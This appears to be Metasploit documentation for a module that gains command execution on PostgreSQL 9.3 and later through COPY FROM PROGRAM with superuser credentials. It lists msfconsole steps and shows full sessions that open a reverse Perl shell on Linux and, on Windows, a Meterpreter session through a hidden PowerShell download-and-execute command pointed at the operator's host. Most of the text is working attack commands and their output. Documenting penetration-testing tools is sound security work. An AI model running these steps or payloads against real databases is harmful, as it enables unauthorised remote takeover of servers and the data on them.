This module attempts to create a new table, then execute system commands in the
context of copying the command output into the table.

This module should work on all Postgres systems running version 9.3 and above.

## Vulnerable Application

  Download any version of PostgreSQL from 9.3 to 11.2 (Latest at time of writing)
  Set up the software and connect as the postgres superuser.
  Use the techniques described in this blogpost to verify command execution:
    https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

## Verification Steps

  You must be able to connect to the PostgreSQL database, and have a valid set of superuser
  credentials, or a user in the 'pg_execute_server_program' group
  
  Exploiting Linux/OSX:

    1. Start msfconsole
    2. use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    3. set RHOST target.ip.add.ress
    4. set payload cmd/unix/reverse_perl
    5. set PASSWORD postgres
    6. set USERNAME postgres
    7. set DATABASE postgres
    8. set LHOST my.ip.add.ress
    9. set LHOST myport
    10. exploit
  
  Exploiting Windows:

    1. Start msfconsole
    2. use exploit/multi/script/web_delivery
    3. set target 2
    4. set payload windows/meterpreter/reverse_tcp
    5. set LHOST my.ip.add.ress
    6. exploit -j
    7. Copy powershell command, add \ to escape any single quotes
    8. use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    9. set RHOST target.ip.add.ress
    10. set COMMAND powershell... (Output from Step 7)
    11. set PASSWORD postgres
    12. set USERNAME postgres
    13. set DATABASE postgres
    14. exploit


## Options

  **TABLENAME**
  
  The name of the table to create in the database, default is set to 'msftesttable', this table will be dropped create a new
  one each time the exploit is run.
  
  **DUMP_TABLE_OUTPUT**

  If enabled this option will perform a select statement on the created table before it is deleted. This can be used for 
  debugging if there are problems with a command being executed. 
  
  **DATABASE**
  
  Name of the database to connect to
  
  **USERNAME**
  
  A valid username that allows access to the database
  
  **PASSWORD**
  
  A valid password that allows access to the database
  
## Scenarios

### Exploiting PostgreSQL 11.2 on Linux Ubuntu 18.04

    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres
    DATABASE => postgres
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set USERNAME postgres
    USERNAME => postgres
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD postgres
    PASSWORD => postgres
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set payload cmd/unix/reverse_perl
    payload => cmd/unix/reverse_perl
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.0.18
    LHOST => 192.168.0.18
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.25
    RHOSTS => 192.168.0.25
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

    Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       COMMAND                     no        Send a custom command instead of a payload, use with powershell web delivery against windows
       DATABASE   postgres         yes       The database to authenticate against
       PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
       RHOSTS     192.168.0.25     yes       The target address range or CIDR identifier
       RPORT      5432             yes       The target port (TCP)
       TABLENAME  msftesttable     yes       A table name that doesnt exist(To avoid deletion)
       USERNAME   postgres         yes       The username to authenticate as


    Payload options (cmd/unix/reverse_perl):

       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  192.168.0.18     yes       The listen address (an interface may be specified)
       LPORT  4456             yes       The listen port


    Exploit target:

       Id  Name
       --  ----
       0   Automatic
   
     msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

    [*] Started reverse TCP handler on 192.168.0.18:4456
    [*] 192.168.0.25:5432 - 192.168.0.25:5432 - PostgreSQL 11.2 (Ubuntu 11.2-1.pgdg18.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0, 64-bit
    [*] 192.168.0.25:5432 - Exploiting...
    [+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable dropped successfully
    [+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable created successfully
    [+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable copied successfully(valid syntax/command)
    [+] 192.168.0.25:5432 - 192.168.0.25:5432 - msftesttable dropped successfully(Cleaned)
    [*] 192.168.0.25:5432 - Exploit Succeeded
    [*] Command shell session 2 opened (192.168.0.18:4456 -> 192.168.0.25:51784) at 2019-03-24 18:07:11 +0000

    whoami
    postgres
    uname -a
    Linux ubuntu 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
    /usr/lib/postgresql/11/bin/postgres -V
    postgres (PostgreSQL) 11.2 (Ubuntu 11.2-1.pgdg18.04+1)
   
### Exploiting PostgreSQL 10.7 on Windows 10

    
    msf5 exploit(multi/script/web_delivery) > set target 2
    target => 2
    msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(multi/script/web_delivery) > set LHOST 192.168.0.18
    LHOST => 192.168.0.18
    msf5 exploit(multi/script/web_delivery) > show options

    Module options (exploit/multi/script/web_delivery):

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT  8080             yes       The local port to listen on.
       SSL      false            no        Negotiate SSL for incoming connections
       SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
       URIPATH                   no        The URI to use for this exploit (default is random)


    Payload options (windows/meterpreter/reverse_tcp):

       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.0.18     yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port


    Exploit target:

       Id  Name
       --  ----
       2   PSH


    msf5 exploit(multi/script/web_delivery) > exploit -j
    [*] Exploit running as background job 0.
    [*] Exploit completed, but no session was created.

    [*] Started reverse TCP handler on 192.168.0.18:4444
    [*] Using URL: http://0.0.0.0:8080/pUDD5sy8vTTD
    [*] Local IP: http://192.168.0.18:8080/pUDD5sy8vTTD
    [*] Server started.
    [*] Run the following command on the target machine:
    msf5 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD');

    msf5 exploit(multi/script/web_delivery) > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE postgres
    DATABASE => postgres
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.0.24
    RHOSTS => 192.168.0.24
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options

    Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       COMMAND                     no        Send a custom command instead of a payload, use with powershell web delivery against windows
       DATABASE   postgres         yes       The database to authenticate against
       PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
       RHOSTS     192.168.0.24     yes       The target address range or CIDR identifier
       RPORT      5432             yes       The target port (TCP)
       TABLENAME  msftesttable     yes       A table name that doesnt exist(To avoid deletion)
       USERNAME   postgres         yes       The username to authenticate as


    Exploit target:

       Id  Name
       --  ----
       0   Automatic

    
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set COMMAND powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(\'http://192.168.0.18:8080/pUDD5sy8vTTD\');
    COMMAND => powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring('http://192.168.0.18:8080/pUDD5sy8vTTD')
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

    [*] Started reverse TCP double handler on 192.168.0.18:4456
    [*] 192.168.0.24:5432 - 192.168.0.24:5432 - PostgreSQL 10.7, compiled by Visual C++ build 1800, 32-bit
    [*] 192.168.0.24:5432 - Exploiting...
    [+] 192.168.0.24:5432 - 192.168.0.24:5432 - msftesttable dropped successfully
    [+] 192.168.0.24:5432 - 192.168.0.24:5432 - msftesttable created successfully
    [*] 192.168.0.24     web_delivery - Delivering Payload
    [!] 192.168.0.24:5432 - 192.168.0.24:5432 - Unable to execute query: COPY msftesttable FROM PROGRAM 'powershell.exe -nop -w hidden -c $a=new-object net.webclient;$a.proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $a.downloadstring(''http://192.168.0.18:8080/pUDD5sy8vTTD'');';
    [*] 192.168.0.24:5432 - Exploit Failed
    [*] Exploit completed, but no session was created.
    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >
    [*] Sending stage (179779 bytes) to 192.168.0.24
    [*] Meterpreter session 1 opened (192.168.0.18:4444 -> 192.168.0.24:50154) at 2019-03-24 17:40:59 +0000

    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show sessions

    Active sessions
    ===============

      Id  Name  Type                     Information                                     Connection
      --  ----  ----                     -----------                                     ----------
      1         meterpreter x86/windows  NT AUTHORITY\NETWORK SERVICE @ DESKTOP-BHTT8OP  192.168.0.18:4444 -> 192.168.0.24:50154 (192.168.0.24)

    msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > getuid
    Server username: NT AUTHORITY\NETWORK SERVICE
    
    
